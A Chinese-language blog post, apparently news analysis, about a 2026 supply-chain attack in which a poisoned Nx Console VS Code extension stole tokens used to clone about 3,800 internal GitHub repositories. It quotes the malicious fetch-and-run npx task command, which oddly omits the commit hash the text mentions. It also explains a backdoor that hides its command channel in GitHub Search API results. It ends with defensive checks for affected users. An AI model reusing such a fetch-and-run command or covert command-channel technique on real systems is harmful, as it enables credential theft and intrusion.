乐于分享
好东西不私藏

GitHub自己被黑了:一个插件18分钟偷走3800个内部仓库

GitHub自己被黑了:一个插件18分钟偷走3800个内部仓库
世界上最大的代码托管平台,被一个代码编辑器插件攻破了。
从投毒到下架,只活了18分钟。但足够了。
GitHub确认:大约3800个内部仓库被克隆。攻击者明码标价5万美元,卖不出去就直接公开。
CISA在事件曝光一周后把两个漏洞加入了强制修复目录,要求联邦机构6月10日前必须处理。
一个220万次安装、标着"已验证发布者"徽章的VS Code插件,怎么就变成了攻破GitHub的武器?

一、18分钟

Nx Console是VS Code marketplace上的明星插件。
做前端开发的几乎都知道Nx——一个管理monorepo(大型项目代码仓库)的工具,Uber、Bun、Ghostty都在用。Nx Console是它的官方VS Code配套插件,220万次安装,发布者挂着蓝色"Verified"徽章。
2026年5月18日,UTC时间12:36,Nx Console的v18.95.0版本推送到VS Code marketplace。
12:47,Nx团队发现异常,紧急下架。
11分钟。VS Code marketplace上的存活时间是11分钟,Open VSX上稍长,36分钟。
但VS Code的插件默认自动更新。笑了,自动更新本来是为了安全。
也就是说,这11分钟里,全球所有开着VS Code、装了Nx Console的开发者——插件已经在后台悄悄升级了。

二、2777字节

安全研究员Nir Zadok(OX Security)逆向分析了这个恶意版本。
整个后门只有2777字节的JavaScript,注入在minified(压缩后的)main.js文件中,藏在大约第770万字节的位置。
它干了什么?
在插件的activate()入口——也就是每次你打开VS Code工作区时自动执行的函数——里,悄悄创建了一个VS Code Task。
Task的名字叫install-mcp-extension。看起来像是在安装MCP(模型上下文协议)扩展,完全不像可疑操作。
但这个task实际执行的是:
npx -y github:nrwl/nx
一条shell命令。-y自动确认,不用你点任何东西。558b09d7是一个commit hash。
而这个commit,是攻击者提前埋好的一个"孤儿提交"(orphan commit)。
什么是孤儿提交?一个没有父节点的commit,不属于任何分支。在GitHub的网页界面上根本看不到它。
但npm/npx可以通过hash直接拉取执行。
攻击者甚至在commit message里写了一句:"Don't delete this commit before 24 hours or wiper activates"(24小时内别删,否则自毁程序激活)——一个假的恐吓,让看到的人不敢轻易操作。
这个commit的作者信息伪装成了一位已离职的Nx贡献者zack@nrwl.io。但跟那位开发者的其他commit不同,这个没有GPG签名。
498KB的混淆JavaScript,加上一个package.json声明依赖bun@^1.3.14——装完就自动执行,你的机器已经不属于你了。

三、cat.py

安全公司Sophos从被感染的开发者机器上找到了一个Python后门文件。
路径:/Users/%/.local/share/kitty/cat.py。
藏在一个仿冒的终端配置目录里,文件名叫"cat"——看起来像系统命令。
这个后门的通信方式堪称教科书级别的隐蔽:
它不连任何可疑的服务器。它用GitHub Search API作为指挥控制通道。
每小时,cat.py会向api.github.com/search/commits发一个搜索请求,关键词是firedalazer。
为什么用GitHub搜索?因为这是正常流量。成千上万的开发者的IDE、CI/CD系统每秒都在访问GitHub API。
一条每小时一次的搜索请求,混在里面根本看不出异常。
攻击者在公开的GitHub commit message里藏命令。cat.py找到这些commit,用内置的RSA公钥验证签名,然后提取并执行攻击者指定的Python载荷。
这就好比,恐怖分子不在电话里说暗号,而是在每天数亿条微博里用特定关键词发帖。只有接收方知道该搜哪个词。
这招是真的阴。

四、GitHub中招

GitHub的内部网络防护很强。
但再强的网络防护,挡不住一个员工用自己的笔记本电脑装了一个"官方验证"的插件。离谱。
这个员工不是疏忽大意。Nx Console是一个正经工具,220万人装了它。它挂在VS Code marketplace上,打着微软自家的"已验证"标签。
插件偷走了员工机器上的GitHub token。攻击者拿着token,克隆了大约3800个GitHub内部私有仓库。
GitHub CISO Alexis Wales的声明说:"我们没有证据表明客户自己的仓库受到影响。"
但她也承认:"GitHub的一些内部仓库包含客户信息,例如支持交互的摘录。"
换句话说:你们存代码的平台,它自己存代码的地方被抄了。笑了。
攻击者TeamPCP(也被追踪为UNC6780)在暗网论坛挂牌出售,要价5万美元以上。他们还放话说:"有一个买家就行,卖完我们销毁数据。没人买,我们就免费公开。"
TeamPCP在X上的账号xploitrsturtle2公开嘲讽GitHub。

五、这不是孤例

TeamPCP不是一个随机黑客组织。他们在2026年的战绩单包括:
  • Aqua Trivy(安全扫描器)
  • CheckMarx KICS(安全扫描器)
  • LiteLLM(AI中间件)
  • Bitwarden CLI(密码管理器)
  • TanStack(前端框架)
  • UiPath(RPA平台)
  • Mistral AI(AI平台)
  • OpenSearch(搜索引擎)
他们的攻击模式是一种自我复制的蠕虫:攻破一个可信工具 → 窃取开发者凭证 → 用窃来的凭证攻破下一个可信工具 → 循环。
说白了,你信得过的人被黑了,你就跟着被黑了。信任链条上任何一环断了,整条链都断。
安全圈把这个武器化框架叫做"Mini Shai-Hulud"——源码已经在GitHub上公开了,MIT许可证。任何人都能fork一个变种。
GitHub这次中招,实际上是TanStack供应链攻击的下游连锁反应。攻击者先通过TanStack拿到了Nx贡献者的GitHub token,再用这个token投毒Nx Console。
这种供应链攻击并不止这一起。就在同一个5月,Red Hat的npm包和Laravel的本地化库也遭遇了类似的投毒——都是通过窃取开发者凭证、在安装过程中植入后门:

六、每个开发者都是入口

GitHub不是唯一的大公司受害者。同一条攻击链上,OpenAI和Mistral AI也被攻破了。
Nx的联合创始人Jeff Cross在事后写了一段话:
"这次事件说明,我们需要从根本上重新思考如何保护开发者工具和开源分发。我们正在和其他高知名度的开源维护者讨论,如何一起解决软件供应链安全中更深层的结构性问题。"
他说得没错。但"讨论"需要时间,攻击者不需要。
VS Code插件有完全的机器访问权限——你的凭据、云密钥、SSH密钥,全都在它的视野里。
传统杀毒软件(EDR)对这种攻击基本无效。
它是纯文本的JavaScript/Python代码,没有二进制签名可以匹配。它读取.env文件看起来跟正常开发活动一模一样。
安全公司Aikido的研究员Charlie Eriksen说了一句大实话:
"社区发现恶意版本的速度在加快,这次只用了11分钟。但攻击模型已经把这个考虑进去了——它需要的不是几天,只是几分钟。"

七、你该检查什么

如果你装了Nx Console,检查一下版本号。干净的版本是18.94.0及以下,或18.100.0及以上。18.95.0到18.99.0之间的版本可能是恶意的。
macOS用户,检查一下这个路径是否存在:
/Users/你的用户名/.local/share/kitty/cat.py
如果存在,你的机器已经被植入后门了。立刻卸载插件、轮换所有凭证(GitHub token、npm凭据、AWS密钥、SSH密钥、1Password),这个后门偷的不止GitHub。
对于所有开发者:VS Code、Cursor、Windsurf——这些编辑器的插件生态都共享同一个问题。
自动更新、无审查期、完全权限。你装的每一个插件,都相当于给了它的作者在你电脑上执行任意代码的权限。
这不是恐慌,是事实。
#GitHub#安全#程序员#